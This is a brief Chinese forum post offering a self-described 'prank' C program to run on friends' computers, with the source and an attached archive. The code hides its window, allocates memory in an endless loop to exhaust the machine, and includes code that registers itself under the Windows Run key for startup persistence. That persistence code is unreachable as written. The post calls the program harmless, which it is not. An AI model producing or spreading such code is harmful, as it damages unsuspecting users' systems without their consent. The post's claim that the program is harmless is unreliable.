一个自己写的恶作剧程序!呵呵你的朋友要小心啦!
程序代码:
[local]2[/local]#ifdef _MSC_VER #pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" ) #endif # include <stdio.h> # include <malloc.h> #include <windows.h> int main(void) { while(1) { int *b =(int *) malloc(100000000); } return 0; TCHAR szPath[MAX_PATH]; GetModuleFileName(NULL, szPath, MAX_PATH); HKEY newValue; RegOpenKey(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", &newValue); RegSetValueEx(newValue, "Name_Me_Please", 0, REG_SZ, (LPBYTE)szPath, sizeof(szPath)); RegCloseKey(newValue); return 0; }本程序没有任何病毒代码至少一个恶作剧!娱乐下而已!
QQferst.rar
(848 Bytes)